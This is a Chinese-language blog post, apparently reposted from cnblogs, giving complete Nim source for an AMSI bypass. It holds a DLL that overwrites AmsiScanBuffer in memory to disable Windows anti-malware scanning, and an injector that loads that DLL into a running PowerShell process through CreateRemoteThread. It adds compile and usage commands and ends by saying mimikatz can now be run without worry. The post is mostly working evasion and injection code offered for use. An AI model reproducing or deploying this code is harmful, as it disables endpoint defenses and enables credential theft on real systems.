ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

AMSI 绕过(nim学习系列)

2021-02-28 14:02:21  阅读:338  来源: 互联网

标签:AMSI amsi nim dll echo import 绕过 patch


AMSI 绕过(nim学习系列)

AMSI(Anti-Malware Scan Interface),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到错误(仅输入"Invoke-Mimikatz"字符串都被拦截)。

截图

实现过程

不废话,直接上代码。我们将 byt3bl33d3r 的代码 amsi_patch_bin.nim 编成 dll,然后注入 powershell 进程,实现 amsi bypass。

amsiBypass.nim

编译:nim c --app:lib --nomain --cpu=amd64 -d:release amsiBypass.nim

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples
    License: BSD 3-Clause
    Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
]#
import winim/lean
import strformat
import dynlib

when defined amd64:
    #echo "[*] Running in x64 process"
    const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
    #echo "[*] Running in x86 process"
    const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]

proc PatchAmsi(): bool =
    var
        amsi: LibHandle
        cs: pointer
        op: DWORD
        t: DWORD
        disabled: bool = false

    # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
    # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
    amsi = loadLib("amsi")
    if isNil(amsi):
        echo "[X] Failed to load amsi.dll"
        return disabled

    cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
    if isNil(cs):
        echo "[X] Failed to get the address of 'AmsiScanBuffer'"
        return disabled

    if VirtualProtect(cs, patch.len, 0x40, addr op):
        #echo "[*] Applying patch"
        copyMem(cs, unsafeAddr patch, patch.len)
        VirtualProtect(cs, patch.len, op, addr t)
        disabled = true

    return disabled

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
  NimMain()
  
  if fdwReason == DLL_PROCESS_ATTACH:
    discard PatchAmsi()
    
  return true

dll 注入

这里主要参考了 https://github.com/saeedirha/DLL-Injector 的 C 语言代码进行修改。

编译:nim c --cpu:amd64 -d:release --opt:size dllInjector.nim

首先,编译 amsiBypass.nim 成 dll 文件。然后,启动一个 powershell 进程,通过任务管理器获取 PID。最后使用以下命令将 amsiBypass.dll 注入 powershell 进程,即可绕过 amsi,效果见截图。

使用:dllInjector.exe 14144 C:\Users\dell\Desktop\test\amsiBypass.dll

dllInjector.nim

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples
    License: BSD 3-Clause
    Referer: https://github.com/saeedirha/DLL-Injector
]#
import winim/lean
import dynlib
import os
import strutils

when defined(windows):
    let dllPath = paramStr(2)  #绝对路径    
    let pid = paramStr(1).parseInt() #powershell.exe 进程 pid
    
    let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid))   
    let alloc = VirtualAllocEx(hProcess, nil, dllPath.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    
    let IsWriteOK = WriteProcessMemory(hProcess, alloc, unsafeaddr dllPath[0], dllPath.len, nil)
    if IsWriteOK == 0:
        echo "Fail to write in Target Process memory"
        quit(QuitFailure)
           
    let lib = loadLib("kernel32.dll")
    if lib == nil:
        echo "Error loading library"
        quit(QuitFailure)


    let lpthreadStartRoutinefp = cast[LPTHREAD_START_ROUTINE](lib.symAddr("LoadLibraryA"))
    if lpthreadStartRoutinefp == nil:
        echo "Error loading 'LoadLibraryA' function from library"
        quit(QuitFailure)
    
    var dWord: DWORD
    CreateRemoteThread(hProcess, nil, 0, lpthreadStartRoutinefp, alloc, 0 ,addr dWord)    

    echo "[+]DLL Successfully Injected"
    
    unloadLib(lib)

现在可以放心使用 mimikatz 了。

截图

标签:AMSI,amsi,nim,dll,echo,import,绕过,patch
来源: https://www.cnblogs.com/StudyCat/p/14458842.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有